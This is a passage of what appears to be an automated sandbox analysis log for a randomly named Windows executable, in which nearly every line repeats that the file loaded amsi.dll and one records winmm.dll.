Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
